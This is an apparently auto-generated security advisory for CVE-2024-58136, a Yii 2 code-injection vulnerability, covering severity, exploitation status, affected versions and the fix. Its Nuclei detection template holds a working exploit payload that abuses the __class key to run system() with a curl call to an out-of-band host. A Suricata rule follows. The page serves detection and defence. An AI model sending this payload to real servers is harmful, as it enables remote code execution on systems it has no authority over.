CVE-2024-58136: Yiiframework Yii exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Description quoted from the CVE record (assigned by mitre, published 2025-04-10).

Weakness: CWE-424 Improper Protection of Alternate Path

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since: 2025-05-02
US federal deadline: 2025-05-23
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-06103, CNNVD-202504-1734, EUVD-2025-10502, GHSA-255j-qw47-wjh5, GHSA-ggwg-cmwp-46r5

VEDAS cluster: VEDAS:BLAZEBLIGHT

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (11)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2024-58136
Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-10502
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-255j-qw47-wjh5
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-ggwg-cmwp-46r5
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2024-58136
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2024-58136
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-255j-qw47-wjh5
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-ggwg-cmwp-46r5
Vulnerability database or vendor advisory: https://osv.dev/vulnerability/GHSA-ggwg-cmwp-46r5
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-58136
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202504-1734

56 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.878
very likely to be attacked soon
VEDAS: 0.985
strong exploit evidence
On CISA KEV: Yes, since 2025-05-02
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
yiiframework Yii	from 2 before 2.0.52	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: yii yii, yiiframework yii.

How to fix it

Fixed versions stated in the CVE record: 2.0.52.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Yii2 - Code Injection
Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a CVE-2024-4990 regression, as exploited in the wild in February through April 2025.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /, POST /index.php, POST /index.php); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-58136.yaml

Show the template (62 lines)

yaml

id: CVE-2024-58136

info:
  name: "Yii2 - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Yii 2 before 2.0.52 mishandles the attaching of behavior that is defined by an __class array key, a
    CVE-2024-4990 regression, as exploited in the wild in February through April 2025.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-58136&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=yii2&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-58136
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "Yii"
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and

CVE-2024-58136.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-58136 Yii2 - Code Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-58136 Yii2 - Code Injection"; flow:established,to_server; http.uri; content:"index.php"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-58136; reference:url,https://www.exploit.observer/?keyword=CVE-2024-58136&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=yii2&match=exact; sid:1011459; rev:1;)

CVE-2024-58136.rules on GitHub

References

Exploits and technical analysis

https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/ (technical-description)

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-58136 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.